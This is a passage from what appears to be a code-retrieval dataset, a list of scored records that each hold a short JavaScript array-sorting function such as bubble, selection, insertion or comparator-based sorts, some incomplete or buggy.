"0.6868897", "text": "function sorting(arrNumber) {\n // code di sini\n var sort = arrNumber.sort()\n return sort\n}", "title": "" }, { "docid": "a9d9a1f6cf00e9d218d44eab1b63948c", "score": "0.68435985", "text": "static sort(a)\n{\n if(a.length<2)\n return a;\n else{\n var j;\n var key;\n for(var i=1;i<a.length;i++) {\n j=i-1;\n key=a[i];\n //move the array values 1 index higher\n while(j>=0&&a[j]>key) {\n a[j+1]=a[j];\n j-=1;\n }\n a[j+1]=key;\n }\n }\n //Calculating elapsed time of sort function.\n console.log(\"Elpased time is\",((new Date())-start),\"Ms\");\n return a;\n }", "title": "" }, { "docid": "a567f37907b1b169fceeebe3c728c3d6", "score": "0.683997", "text": "function manualSort(array,array1) {\n for(i=0;i<array.length;i++){ \n for(j=array[i].length-1;j>=0;j--){\n for(k=0;k<j;k++){\n if(array[i][k] > array[i][k+1]){ \n var temp = array[i][k]\n var temp1 = array1[i][k]\n array[i][k] = array[i][k+1]\n array1[i][k] = array1[i][k+1]\n array[i][k+1] = temp\n array1[i][k+1] = temp1\n }\n \n }\n \n }\n }\n return array\n}", "title": "" }, { "docid": "ef3cdd74ba51f63f346dd6ea1f559b38", "score": "0.68376714", "text": "function sortArray() {\n roster.people.sort(sortNames);\n roster.sortedArray = roster.people;\n }", "title": "" }, { "docid": "7ef1269d28901ebb4e5b46c1fc43a041", "score": "0.68236715", "text": "function sortAsc() {\n //var sortedArray=newArray(); asa se declara un array nou//\n var sortedArray = []; //sau asa//\nvar nrElemente=note.length;\n for (var i = 0; i < nrElemente; i++) {\n var max = calculeazaMax();\n var pozitieMaxInArray = findPositionInArray(max);\n sortedArray.push(max); //adauga element in array//\n note.splice(pozitieMaxInArray, 1); //incepand cu pozitia max sterge un element//\n }\n return sortedArray;\n}", "title": "" }, { "docid": "fa3ae0595d7267bb73cf34020c6dafcc", "score": "0.67750955", "text": "function sortNumericVector (array) {\r\n return array.sort();\r\n }", "title": "" }, { "docid": "bc7c55170857ea4ca20711626ea17b8a", "score": "0.67526007", "text": "function sortDraw(array){\n\t\tarray.sort(sortFunc);\n\t\tfunction sortFunc(a,b){\n\t\t\tif (a.y === b.y) return 0;\n\t\t\telse return(a.y < b.y) ? -1:1;\n\t\t}\n\t}", "title": "" }, { "docid": "a37a972f1afd1e2a14448c52aee16044", "score": "0.67227274", "text": "function sortIt(arr) {\n\treturn arr.sort((a, b) => a - b);\n}", "title": "" }, { "docid": "fca56c11ad8504bef08d424b567db73d", "score": "0.67200273", "text": "function bubbleSort (arr) {\n\n}", "title": "" }, { "docid": "d220eeec6204238f7095fe5e067a8422", "score": "0.6715101", "text": "function countSort(array){\n\n}", "title": "" }, { "docid": "6a288c51c30cf0aaeedcb85603bfa384", "score": "0.6712848", "text": "function sortArray(){\n\n function compare(a,b) {\n if (a.price < b.price) return -1;\n if (a.price > b.price) return 1;\n return 0;\n }\n listOfCars.sort(compare);\n console.table(listOfCars);\n\n }", "title": "" }, { "docid": "20a53495b00cfe8e8a52fe0843f682e2", "score": "0.67125523", "text": "function sortArray(){\n graphData.sort(function(a, b){\n return b[0] - a[0];\n });\n }", "title": "" }, { "docid": "39110511960edf903d28273e16d3e882", "score": "0.6692871", "text": "function lengthSort(arr) {\n\n}", "title": "" }, { "docid": "2d7d0a55b1bfc5a82cf801ddb5cf36da", "score": "0.6681357", "text": "function sort(arr, parameter, sortDirection) {\n\n for (var i = 0; i < arr.length; i++) {\n\n for (var j = i + 1; j < arr.length; j++) {\n\n if (sortDirection === \"up\") {\n\n if (arr[i][parameter] > arr[j][parameter]) {\n var temp = arr[i];\n arr[i] = arr[j];\n arr[j] = temp;\n }\n } else if (sortDirection === \"down\") {\n\n if (arr[i][parameter] < arr[j][parameter]) {\n var temp = arr[i];\n arr[i] = arr[j];\n arr[j] = temp;\n }\n }\n }\n }\n arataDateleDinTabel(arr);\n}", "title": "" }, { "docid": "c45ccce2e4027946f2af4668f8dce735", "score": "0.6662087", "text": "function manualSort(array) {\n for(var i=array.length-1;i>=0;i--){\n for (var j=0;j<i;j++){\n if(array[j] < array[j+1]){\n var temp = array[j]\n array[j] = array[j+1]\n array[j+1] = temp\n }\n }\n }\n return array\n}", "title": "" }, { "docid": "072c703377a715a5ba8c10e936d9ac27", "score": "0.6650698", "text": "bubbleSort() {\n this.resetOverglow();\n var i = controller.tempo_i - 1;\n var j = controller.tempo_j - 1;\n if (i < this.array.length) {\n if (j < this.array.length - 1 - i) {\n if (this.array[j + 1] < this.array[j]) {\n // swap\n var aux = this.array[j];\n this.array[j] = this.array[j + 1];\n this.array[j + 1] = aux;\n this.addToOverglow(j + 1, '0, 242, 255');\n this.addToOverglow(j, 'red');\n } else {\n this.addToOverglow(j, '0, 242, 255');\n }\n } else { // would happen at the end of the for j loop\n controller.tempo_j = 0;\n controller.tempo_i++;\n }\n }\n ++controller.tempo_j;\n // stop bubbleSort\n if (j >= this.array.length) {\n controller.sorting_mode = null;\n return;\n }\n }", "title": "" }, { "docid": "cd3a0ddcebb703a82dca02bd477aefc9", "score": "0.66370153", "text": "function insersion_sort(arr) {\n for (let i = 1; i < arr.length; i++) {\n let temp = arr[i];\n let j = 1;\n while (arr[i] < arr[i - j]) {\n j++;\n }\n arr.splice(i, 1);\n arr.splice(i - j + 1, 0, temp);\n }\n}", "title": "" }, { "docid": "c405c56df1517e9c28949646df3a563a", "score": "0.66326904", "text": "function sort(){\n var temp=0;\n var t,l;\n for(var j=0;j<80;j++){\n for(var k=0;k<80-j;k++){\n if(arr[k]>arr[k+1]){\n var temp;\n temp=arr[k];\n arr[k]=arr[k+1];\n arr[k+1]=temp;\n t=arr[k+1]+\"px\";\n l=arr[k]+\"px\";\n task(k+1,k,t,l);\n }\n }\n }\n count=0;\n }", "title": "" }, { "docid": "faf740e5bd2cef4722b7b9c8340a5d03", "score": "0.66290605", "text": "function selectSort(array){\n if(typeof array != 'object' || array == null) return undefined;\n let x = 0;\n for(let i = 0; i < array.length; i++){\n let min = i;\n for(let j = i+1; j < array.length; j++){\n if(array[min] > array[j]){\n min = j;\n };\n };\n x = array[min];\n array[min] = array[i];\n array[i] = x;\n };\n return array;\n}", "title": "" }, { "docid": "63ae6743bd71f790f0a3f3d18c0acd5a", "score": "0.66200554", "text": "function manualSort(array, array1) {\n for(var i=array.length-1;i>=0;i--){\n for (var j=0;j<i;j++){\n if(array[j] < array[j+1]){\n var temp = array[j]\n var temp1 = array1[j]\n array[j] = array[j+1]\n array1[j] = array1[j+1]\n array[j+1] = temp\n array1[j+1] = temp1\n }\n }\n }\n return array\n}", "title": "" }, { "docid": "892d8e39922af8db7bd827608ce84502", "score": "0.66159666", "text": "function sortArray3(arr) {\r\n\t/*for (let i = 0; i < arr.length-1; i++) {\t\t\r\n\t\tfor (j = 0; j < arr.length-i; j++){\r\n\t\t\tif (arr[j+1] < arr[j]) {\r\n\t\t\t\tlet temp = arr[j];\r\n\t\t\t\tarr[j] = arr[j+1];\r\n\t\t\t\tarr[j+1] = temp;\r\n\t\t\t}\r\n\t\t}\r\n\t}*/\r\n\r\n\tlet n = arr.length-1;\r\n\r\n\twhile(n > 1) {\r\n\t\tfor (let i = 0; i < n; i++) {\t\t\r\n\t\t\tif (arr[i+1] < arr[i]) {\r\n\t\t\t\tlet temp = arr[i];\r\n\t\t\t\tarr[i] = arr[i+1];\r\n\t\t\t\tarr[i+1] = temp;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tn--;\r\n\t}\r\n\r\n\treturn arr;\r\n}", "title": "" }, { "docid": "39ea36c94da585b8881cd222f93e2fe3", "score": "0.6613557", "text": "function sortData() {\r\n var arrayToSort = [34,7,23,32,5,62];\r\n var i = 0;\r\n\r\n //sort type: bubble\r\n while (i < arrayToSort.length) {\r\n for (var x = 0; x < arrayToSort.length; x++) {\r\n if (arrayToSort[x] > arrayToSort[x + 1]) {\r\n var numberToSwap = arrayToSort[x];\r\n var move = arrayToSort[x + 1];\r\n arrayToSort[x + 1] = numberToSwap;\r\n arrayToSort[x] = move;\r\n }\r\n }\r\n i++;\r\n }\r\n document.getElementById('sorting').innerText = arrayToSort;\r\n}", "title": "" }, { "docid": "cacf140f88e7f02ecb75781a1a409854", "score": "0.65852046", "text": "function creationSort(arr) {\n return arr;\n}", "title": "" }, { "docid": "18726e92304163b8193087deadb10ce9", "score": "0.6581639", "text": "function dscSort(array) {\n for (var i = 1; i < array.length; i++) {\n var tmp = array[i];\n for (var j = i - 1; j >= 0 && (((array[j].id - tmp.id) < 0)); j--) {\n array[j + 1] = array[j];\n }\n array[j + 1] = tmp;\n }\n return array;\n}", "title": "" }, { "docid": "86b644328e086d66cb3107a01ac51815", "score": "0.65764636", "text": "function sorting(number_array){\r\n \r\n\r\n// on console displaying the array\r\n console.log(number_array);\r\n\r\n// finding the length of the array\r\n var length = number_array.length\r\n\t\r\n for(var i = 0; i < length; i++){\r\n \r\n // Last i elements are already in place\r\n for(var j = 0; j < ( length - i -1 ); j++){\r\n \r\n // Checking if the item at present iteration\r\n // is greater than the next iteration\r\n if(number_array[j] > number_array[j+1]){\r\n \r\n // If the condition is true then swap them\r\n var temp = number_array[j]\r\n number_array[j] = number_array[j + 1]\r\n number_array[j+1] = temp\r\n }\r\n }\r\n }\r\n // Print the sorted array o the div and console\r\n console.log(number_array);\r\n document.getElementById(\"display_name\").innerHTML = number_array;\r\n \r\n }", "title": "" }, { "docid": "3c9bba86ea09298adda969da2d9cbfb4", "score": "0.65705407", "text": "function sortData(arr, colume, method) {\n\tvar flag;\n\t\n\t// selection sort\n\tfor (var count = 0; count < arr.length; count++) {\n\t\tflag = count;\n\t\tvar tempRow;\n\t\tfor (var temp = count; temp < arr.length; temp++) {\n\t\t\tif (method) {\n\t\t\t\tif (arr[flag][colume] < arr[temp][colume])\n\t\t\t\tflag = temp;\n\t\t\t} else {\n\t\t\t\tif (arr[flag][colume] > arr[temp][colume])\n\t\t\t\tflag = temp;\n\t\t\t}\n\t\t}\n\t\t\n\t\t// swap data\n\t\ttempRow = arr[flag];\n\t\tarr[flag] = arr[count];\n\t\tarr[count] = tempRow;\n\t}\n}", "title": "" }, { "docid": "83c2b91f7025473fa770e941adc6e784", "score": "0.6565503", "text": "function arraySortCondition(a, b) {\n let sortA = a.value; //value dient als universelle Reihenfolge der Karten (alle karten sind von 1 bis 32 durchnummeriert)\n let sortB = b.value;\n if (sortA > sortB) {\n return 1;\n }\n ;\n if (sortA == sortB) {\n return 0;\n }\n ;\n if (sortA < sortB) {\n return -1;\n }\n ;\n return 0;\n }", "title": "" }, { "docid": "e8065a2a7872ad0049e01d6a664f9439", "score": "0.6550832", "text": "function someOtherSort(arr){\n return arr.sort(function(a, b){\n return a - b;\n });\n }", "title": "" }, { "docid": "d39d35758f66e4816273041d9ea2f0cf", "score": "0.6542629", "text": "function nonMutatingSort(arr) {\n // Add your code below this line\n let newArr = [].concat(arr);\n \n\n return newArr.sort((a, b) => {\n return a - b\n })\n \n // Add your code above this line\n}", "title": "" }, { "docid": "e40113c439140fbabc88ede70e22d87a", "score": "0.65348095", "text": "function customSort(a, b) {\n if (a[1] == b[1]) {\n return 0;\n }\n else\n return (a[1] < b[1]) ? -1 : 1;\n\n}", "title": "" }, { "docid": "3f6b9c803f98c8fae3e656b7f1ac4551", "score": "0.6527648", "text": "function sortArray(arr){\n\nconsole.log(arr.sort(compare).join('\\n'));\n\n function compare(a,b){\n if(a.length < b.length){\n return -1; \n } else if (a.length>b.length){\n return 1;\n } else { \n if(a<b){\n return -1;\n } else if(a>b){\n return 1;\n }else{\n return 0;\n }\n }\n } \n}", "title": "" }, { "docid": "d8dfa0680263a3de690ed9a25abef4b9", "score": "0.65194666", "text": "sort () {\r\n this._data.sort((a, b) => a.sortOrder !== b.sortOrder ? b.sortOrder - a.sortOrder : a.value.localeCompare(b.value))\r\n }", "title": "" }, { "docid": "40aaf37415ac4916fa9d5754477d6a8c", "score": "0.6513111", "text": "sortData () {\n this.data.sort(this.compareSortArrays(this))\n if (this.spanRows) { this.setRowSpans() }\n }", "title": "" }, { "docid": "131f4c9733c2e9f095cd8df84dd11d6e", "score": "0.651185", "text": "function selectionSort(vetor) {\n\n trocas = 0 , pass = 0, comps = 0\n\n function encontrarMenor(inicio) {\n let menor = inicio\n // Este loop vai até a última posição\n for (let j = inicio + 1; j < vetor.length; j++) {\n if(vetor[j] < vetor[menor]) menor = j\n comps++\n }\n return menor\n }\n //Percurso do vetor até a PENÚLTIMA posição com vetor.lenght -2\n for (let i = 0; i <= vetor.length - 2; i ++) { \n pass++ // Cada roda do For é uma passada\n let menor = encontrarMenor(i + 1)\n if (vetor[menor]< vetor[i]) {\n [vetor[menor], vetor[i]] = [vetor[i], vetor[menor]] // Para trocar os valores de posição por isso coloco na linha de baixo a trocas++\n trocas++\n }\n comps++ // Colocamos comps++ pois passou pelo IF na linha 28.\n }\n}", "title": "" }, { "docid": "8f9b721b3e409dea9c4ae3a4dccd181e", "score": "0.64935255", "text": "function sortArray(array){\n\n var oldArrayLength = array.length;\n var newArray = [];\n\n for(y=0;y<oldArrayLength;y++){\n\n var target = 0;\n var chosen = array[0];\n\n for(x=0;x<array.length;x++){\n if (array[x] < chosen){\n target = x;\n chosen = array[x];\n }\n }\n array.splice(target,1);\n newArray.push(chosen);\n }\n return newArray;\n }", "title": "" }, { "docid": "4c72dc470cb2a35e885945d2030a5247", "score": "0.6478555", "text": "sortArr(arr) {\n arr.sort( function(a,b) {\n if (a.rank > b.rank) {\n return -1;\n }\n if (a.rank < b.rank) {\n return 1;\n }\n return 0;\n });\n }", "title": "" }, { "docid": "c27e49b72a16bc0aaf599278f96ff722", "score": "0.6477205", "text": "function sort(array){\n let x = 0;\n\n for(i=0; i<array.length; i++){\n for(j=0; j<array.length-i;j++){\n if(array[j-1] > array[j]){\n x = array[j-1];\n array[j-1] = array[j];\n array[j] = x;\n }\n }\n\n }\n\n return array;\n}", "title": "" }, { "docid": "ebe2aa5c8d5ccb5f54e9f1cec717f926", "score": "0.6472996", "text": "function bubblesort(){\r\n var arr_aux1 = arr.slice();//cópia do vetor \r\n var before = Date.now(); //inicia a contagem de tempo de execução\r\n for (var j = 0; j < arr_aux1.length-1; j++){\r\n for (var i = 0; i < arr_aux1.length-j-1; i++){\r\n if (arr_aux1[i]>arr_aux1[i+1]){\r\n aux = arr_aux1[i];\r\n arr_aux1[i] = arr_aux1[i+1];\r\n arr_aux1[i+1] = aux;\r\n }\r\n }\r\n }\r\n var time = Date.now() - before; //finaliza a contagem\r\n document.getElementById(\"resp1\").innerHTML = arr_aux1;\r\n window.alert(\"A função demorou \" + time + \"ms\"); \r\n}", "title": "" }, { "docid": "859c4e232e5793acb5a19e758fdbc430", "score": "0.64534813", "text": "function nonMutatingSorting(arr) {\n\n let newArr = [];\n return newArr.concat(arr).sort((a,b) => a-b); // Concatenate an empty array to the one being sorted as concat returns a new array\n \n}", "title": "" }, { "docid": "a1b68152a4ed80630a95376582d0a042", "score": "0.64434206", "text": "function sortFunction(a, b) {\n\t\t\t\t if (a[1] === b[1]) { return 0; }\n\t\t\t\t else { return (a[1] < b[1]) ? -1 : 1; }\n\t\t\t\t}", "title": "" }, { "docid": "02ffe3f4bb1123fad91d58cef5e9295a", "score": "0.6434696", "text": "function selectionsort(){\n var t,l;\n for(var i=0;i<=79;i++){\n var mini=i;\n for(var j=i+1;j<=80;j++){\n if(arr[j]<arr[mini]) \n mini =j;\n }\n var temp=arr[i];\n arr[i]=arr[mini];\n arr[mini]=temp;\n t=arr[i]+\"px\";\n l=arr[mini]+\"px\";\n task1(i,mini,t,l);\n }\n count=0;\n }", "title": "" }, { "docid": "d9b136080dc3817fdecb4025ed2eb2d9", "score": "0.6432703", "text": "sort() {\n\n this.linkedList.add('start', this.list.slice(), 1);\n //save the event, the data that involves this event, and the line of JS\n\n this.linkedList.add('check', this.list.length, 5);\n //save the event, the data that involves this event, and the line of JS\n\n if (this.list.length <= 1) {\n this.linkedList.add('end', this.list.length, 3);\n //save the event, the data that involves this event, and the line of JS\n return this.list;\n }//check to see if the array is only 1 long or lower\n\n\n for (let comparator = 1; comparator < this.list.length; comparator++) {\n\n this.linkedList.add('comparator', comparator, 7);\n //save the event, the data that involves this event, and the line of JS\n\n let comparee = comparator - 1;\n //assign j equal to i\n\n this.linkedList.add('comparee', comparee, 9);\n //save the event, the data that involves this event, and the line of JS\n\n while (comparee >= 0 && this.list[comparee] > this.list[comparator]) {\n //if our comparee is bigger than the comparator\n\n this.linkedList.add('compare', [comparee, comparator], 11);\n //save the event, the data that involves this event, and the line of JS\n\n let temp = this.list[comparee];\n //save the larger element in a temp variable\n this.list[comparee] = this.list[comparator];\n //overwrite the larger one with the smaller one, so bigger values float right\n this.list[comparator] = temp;\n\n this.linkedList.add('swap', [comparator, comparee], 13);\n //save the event, the data that involves this event, and the line of JS\n comparee--;\n comparator--;\n //move both are comparee and comparator down one\n\n this.linkedList.add('comparee', comparee, 15);\n this.linkedList.add('comparator', comparator, 16);\n }//while\n\n }//for\n this.linkedList.add('end', this.list, 19);\n return this.list;\n }", "title": "" }, { "docid": "c8e909f398bfd9dfdae135e2bf2fe07e", "score": "0.6429092", "text": "function sortArray(array, objName){\n\t\tif (!array || array.length==0 || !objName || objName == \"\") {console.log(\"[ERROR]sortArray: no array or objName\");return;}\n\t\t\n\t\tarray.sort(function(a,b){\n\t\t\tswitch ($.type(a[objName])) {\n\t\t\t\tcase \"number\":\n\t\t\t\t\tif (a[objName] == b[objName]) return 0;\n\t\t\t\t\treturn a[objName] < b[objName] ? 1 : -1; //descend\n\t\t\t\tbreak;\n\t\t\t\tcase \"date\":\n\t\t\t\t\t\n\t\t\t\tbreak;\n\t\t\t\tcase \"string\":\n\t\t\t\t\tif(objName=='date'){\n\t\t\t\t\t\treturn (new Date(a[objName]) < new Date(b[objName]))? 1: -1; //descend\n\t\t\t\t\t}else{\n\t\t\t\t\t\treturn a[objName] > b[objName] ? 1: -1; //ascend\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\tbreak;\n\t\t\t}\n\t\t});\n\t\t\n\t}", "title": "" }, { "docid": "f9de3672bce1f776edd3a00b026a04c7", "score": "0.64287704", "text": "function sortArray(a, b) {\n var x = a[rowURLIndex];\n var y = b[rowURLIndex];\n if (x === y) {\n return 0;\n }\n else {\n return (x < y) ? -1 : 1;\n }\n}", "title": "" }, { "docid": "0194146a170286ad73bb577b04969183", "score": "0.6426837", "text": "function sortWithIndeces(toSort) {\n for (var i = 0; i < toSort.length; i++) {\n toSort[i] = [toSort[i], i];}\n toSort.sort(function(left, right) {\n return left[0] > right[0] ? -1 : 1; });\n toSort.sortIndices = [];\n for (var j = 0; j < toSort.length; j++) {\n toSort.sortIndices.push(toSort[j][1]);\n toSort[j] = toSort[j][0];}\n return toSort;}", "title": "" }, { "docid": "0cba05543bc48abddbd4d8a0fc113046", "score": "0.6424267", "text": "function sort(arr) {\n\treturn arr.sort(function(a, b) {\n\t\tvar x = num(a), y = num(b);\n\t\treturn x - y;\n\t});\n}", "title": "" }, { "docid": "0ac4114d972e77d7fb294ff3a21dade0", "score": "0.6417882", "text": "function lengthSort(arr) {\n // your code here\n return arr.sort();\n}", "title": "" }, { "docid": "f25f5ea4cc5127b3f9b97835f6f2a459", "score": "0.6411941", "text": "function sortFunction(a, b){\n\treturn (a - b) //causes an array to be sorted numerically and ascending\n}", "title": "" }, { "docid": "9471f7cebf7d556e3b94c78fa3f57567", "score": "0.64057094", "text": "function sortAsc(arr) {\n arr.sort((a,b) => a - b);\n }", "title": "" }, { "docid": "2614b0767876fb68dc82aef6c55ada00", "score": "0.6397302", "text": "function sort(arr){\n var num = 0;\n var pos = 0;\n var newArr = [];\n \n for (var i = 0; i < arr.length; i++) {\n num = arr[i];\n for (var j = 0; j < t; j++) {\n if (num >= arr[j]){\n pos=pos+1;\n }\n }\n newArr[pos-1]=num;\n pos=0;\n }\n return newArr\n}", "title": "" }, { "docid": "44db881454967e68c610b040d2d5dd53", "score": "0.63924307", "text": "function sortArr(arr){\n return arr.sort(compareNum);\n}", "title": "" }, { "docid": "13b91a7da6cccbf4728afb97e4c6e0d6", "score": "0.63828087", "text": "function test(arr) {\n return arr.sort((a, b) => b - a);\n}", "title": "" }, { "docid": "6810cf1b32e11baff3a0b5960df32e7a", "score": "0.63816696", "text": "insertionSort() {\n var j = controller.tempo_j; // starts at 1, tempo_j sums 1 every iteration\n this.resetOverglow();\n this.addToOverglow(j, '0, 242, 255');\n if (j < this.array.length) {\n var i = j - controller.tempo_i; // starts at 0, tempo_i sums 1 every iteration\n if (i >= 0 && this.array[i] > controller.key) {\n this.array[i + 1] = this.array[i];\n this.addToOverglow(i, 'red')\n controller.tempo_i++;\n } else {\n controller.tempo_j++;\n controller.tempo_i = 1;\n this.array[i + 1] = controller.key;\n if (j <= this.array.length - 2) {\n controller.key = this.array[j + 1];\n }\n }\n } else {\n delete(controller.key);\n controller.sorting_mode = null;\n }\n }", "title": "" }, { "docid": "37c84f43702c5a37fa1794537ee87384", "score": "0.6375056", "text": "sort() {\n\t\treturn super.sort(this.compare);\n\t}", "title": "" }, { "docid": "e95d3befd55c5b82c352548e5894954e", "score": "0.63677526", "text": "function sortArray(arr) {\n\n arr.sort(function (a, b) {\n if (a > b)\n\n return 1;\n if (a < b)\n return -1;\n return 0;\n });\n return arr;\n}", "title": "" }, { "docid": "b287f1cd315743e8a50ea7e8faaf3265", "score": "0.63604754", "text": "function sort(arr) {\n var res = arr.slice();\n res.sort();\n return res;\n}", "title": "" }, { "docid": "5ba252d7730b5db3e7037f773ae7e791", "score": "0.63604134", "text": "function shellSort(array) {\r\n\tfor (var g = 0; g < gaps.length; g++) {\r\n\t\tvar gap = gaps[g]\r\n\t\tfor (var i = gap; i < array.length; i++) {\r\n\t\t\tvar temp = array[i]\r\n\t\t\tfor(var j = i; j >= gap && array[j - gap] > temp; j -= gap) {\r\n\t\t\t\tarray[j] = array[j - gap]\r\n\t\t\t}\r\n\t\t\tarray[j] = temp\r\n\t\t}\r\n\t}\r\n\treturn array\r\n}", "title": "" }, { "docid": "90de2b26a62483292dd75474e97b1f74", "score": "0.63583297", "text": "function custom_sort(a, b) {\n return a.Utropspris - b.Utropspris;\n }", "title": "" }, { "docid": "f3fb917be8df22f54459153cc55d8a8d", "score": "0.6351293", "text": "function sortArray() {\r\n\r\n //an array to use method on is declared within function, just for example\r\n var points = [41, 3, 6, 1, 114, 54, 64];\r\n\r\n //method sort is used on array declared above, it has two anon parameters, by it will work\r\n points.sort(function (a, b) {\r\n //function compares values by a declared parameters pattern - here in rising order\r\n return a - b;\r\n });\r\n\r\n //function returns sorted array\r\n return points;\r\n}", "title": "" }, { "docid": "d5a558dc99788443f8b116dd36bfec55", "score": "0.6350776", "text": "function selectionSort(array){\n\tvar numbers = array.splice(1,+array[0]),\n\t\tlen = +array[0],\n\t\tmin,\n\t\ttemp;\n for (var i = 0; i < len; i += 1) {\n min = i,\n\t\ttemp = 0;\n for (var j = i+1; j < len; j += 1) {\n if (+numbers[j] < +numbers[min]) {\n min = j;\n }\n }\n temp = numbers[i];\n\t\tnumbers[i] = numbers[min];\n\t\tnumbers[min] = temp;\n\t\tconsole.log(numbers[i]);\n }\n}", "title": "" }, { "docid": "4c0871006101629770aed9efc353cc72", "score": "0.63469136", "text": "function Sort(arr) {\n\n\tvar start = 1;\n\n\tfor (var i = 0; i < arr.length; i++) {\n\t\tfor (var j = start; j < arr.length; j++) {\n\n\t\t\tif (arr[i] > arr[j]) {\n\n\t\t\t\tvar tmp = arr[j];\n\n\t\t\t\tarr[j] = arr[i];\n\t\t\t\tarr[i] = tmp;\n\n\t\t\t}\n\n\t\t}\n\n\t\tstart++;\n\t}\n\n\treturn arr;\n\n}", "title": "" }, { "docid": "122452645afab2164023339e5dd06e8d", "score": "0.6343355", "text": "function sort(){\n for (i = 0; i <= visible_boxes -2; i++){\n var temp_len, temp_ele;\n for (j = 1; j <= visible_boxes -1; j++){\n if (lengths[i] < lengths[j]){\n temp_len = lengths[i];\n temp_ele = elements[i];\n lengths[i] = lengths[j];\n elements[i] = elements[j];\n lengths[j] = temp_len;\n lengths[j] = temp_ele;\n }\n }\n }\n for (k = 0; k <= visible_boxes - 1; k++){\n //reprint the values in the correct places\n }\n}", "title": "" }, { "docid": "d511a6a58d659c3a7ba77f5d858e70cd", "score": "0.6331806", "text": "function selectionSort(arr) {\n\tfor (var left = 0; left < arr.length; left++) {\n\t\tfor (var right = left + 1; right < arr.length; right++) {\n\t\t\tif (arr[left] > arr[right]) {\n\t\t\t\tvar tmp = arr[right];\n\t\t\t\tarr[right] = arr[left];\n\t\t\t\tarr[left] = tmp;\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "31fe3757055f33fdc3fc0be2e6f1af13", "score": "0.6328403", "text": "function sortArray(arr) {\n return arr.map((x) => arr).sort();\n}", "title": "" }, { "docid": "0a3ffa906bab0dfd655be39738e5c35f", "score": "0.6326923", "text": "function sortArrays() {\n for (let i =0; i < weArray.length; i++) {\n if (weArray[i].exp == 100) {weAt100pct++;}\n let ID = weArray[i].itemID;\n let itemObj = getItemById(ID);\n if (validPointer(itemObj)) {\n if (itemObj.type == 'Primary') {\n primaryArray.push(weArray[i]);\n } else if (itemObj.type == 'Secondary') {\n secondaryArray.push(weArray[i]);\n } else if (itemObj.type == 'Melee') {\n meleeArray.push(weArray[i]);\n } else if (itemObj.type == 'Temporary') {\n temporaryArray.push(weArray[i]);\n } else {\n debug('Unknown type ' + itemObj.type + ' for weapon ID ' + ID);\n }\n } else {\n debug('Error finding item ' + ID + ' in itemsArray!');\n }\n }\n\n weRows = buildWeTableRows();\n fhRows = buildFhTableRows(fhArray);\n modifyPage();\n }", "title": "" }, { "docid": "ed4cec3c5ab6737186866b3c591b34c2", "score": "0.6326505", "text": "static sortPt(ptArray, pt){\n ptArray.sort((a, b)=>{\n const d1 = GoCanvasMath.distancePt(pt, a);\n const d2 = GoCanvasMath.distancePt(pt, b);\n if(d1 < d2){\n return -1;\n }\n else if(d1 > d2){\n return 1;\n }\n return 0;\n });\n }", "title": "" }, { "docid": "ddf084db6ff6682052c1c933357b1c60", "score": "0.63241976", "text": "function sort(arr) {\n let result = arr\n for(let i=0; i< result.length;i++){\n for(let j=0;j<result.length;j++){\n if(result[j]>result[j+1]){\n let temp = result[j];\n result[j] = result[j+1];\n result[j+1] = temp;\n }\n }\n }\n return result;\n}", "title": "" }, { "docid": "6cfae5c1aaf728cbb9db332198697d18", "score": "0.63240135", "text": "function sortArray(array) {\n for(i = 1; i < array.length; i++) {\n for(let j = 0; j < array.length; j ++) {\n if (array[j] > array[j + 1]) {\n let tmp = array[j];\n array[j] = array[j + 1 ];\n array[j + 1] = tmp;\n //[current, previous] = [previous, current];\n } \n else {\n continue;\n }\n };\n }; return array;\n}", "title": "" }, { "docid": "e552c9bbe0db2bb14a0cfed3887893c0", "score": "0.6321047", "text": "function sort(arr) {\n for(var i = 0; i<arr.length; i++){\n for(var j = 0; j<arr.length-1; j++){\n if(arr[j] > arr[j+1]){\n var temp = arr[j+1];\n arr[j+1] = arr[j];\n arr[j] = temp;\n }\n }\n }\n return arr;\n}", "title": "" }, { "docid": "b004c4cab119ef0e0e4aad51624e5b06", "score": "0.6314017", "text": "function sortMultiply(array) {\n\n\n var newArray = [];\n var temp = 0;\n\n for (var i = 0; i < array.length; i++) {\n for (var j = 0; j < array.length; j++) {\n if (array[i] > array[j]) {\n temp = array[j];\n array[j] = array[i];\n array[i] = temp;\n }\n } \n }\n \n newArray = array;\n \n return newArray;\n}", "title": "" }, { "docid": "3f5b9f748a85e474420cd32459891ee9", "score": "0.63065225", "text": "function sort(arr){\n for(var i =0;i<arr.length;i++){\n var j = i, k = i + 1;\n while(arr[j] > arr[k] && k < arr.length){\n var t = arr[j];\n arr[j] = arr[k];\n arr[k] = t;\n j++;k++\n i=-1;\n }\n }\n return arr;\n}", "title": "" }, { "docid": "00e9e73538e11d70042bf0bce5c3eb72", "score": "0.6306485", "text": "function selectionSort(arr){\n console.log('hello');\n \n let temp =0;\n console.log(arr);\n for(let i=0; i<arr.length; i++){\n let indexOdMin = i;\n for(let j=i+1; j<arr.length; j++){\n \n if(arr[j]<arr[i]){\n indexOdMin = j;\n temp = arr[indexOdMin];\n arr[indexOdMin] = arr[i];\n arr[i]=temp;\n \n } \n }\n }\n return arr;\n\n}", "title": "" }, { "docid": "f295c04454b93c379756c29833e54dce", "score": "0.62969995", "text": "function selectionSort(array) {\n let unsortedIndex = 0 // the start of the unsorted portion \n\t\n\twhile (unsortedIndex < array.length-1){\n\t\tlet smallestIndex = unsortedIndex // create ability to track smallest int in array\n\t\tfor (let i = unsortedIndex + 1; i < array.length; i++){ // find smallest on each loop\n\t\t\tif (array[i] < array[smallestIndex]){ // \n\t\t\t\tsmallestIndex = i\n\t\t\t\t}\n\t\t\t}\n\t\tswap(unsortedIndex,smallestIndex, array) //make smalleste change places with start of unsorted\n\t\t\n\t\tunsortedIndex++ // make new start to unsorted section of array, any item before this is sorted\n\t}\n\treturn array\n}", "title": "" }, { "docid": "6710f0878cc2142f44a7a65117684dda", "score": "0.62944", "text": "function ascSort(array) {\n for (var i = 1; i < array.length; i++) {\n var tmp = array[i];\n for (var j = i - 1; j >= 0 && ((array[j].id - tmp.id) > 0); j--) {\n array[j + 1] = array[j];\n }\n array[j + 1] = tmp;\n }\n return array;\n}", "title": "" }, { "docid": "fba195258871e6213263ccfd333fb1c0", "score": "0.6293182", "text": "_sortBoneDataArray( boneDataArray ) {\n\n\t\treturn boneDataArray.sort( function ( a, b ) {\n\n\t\t\tif ( a.transformationClass !== b.transformationClass ) 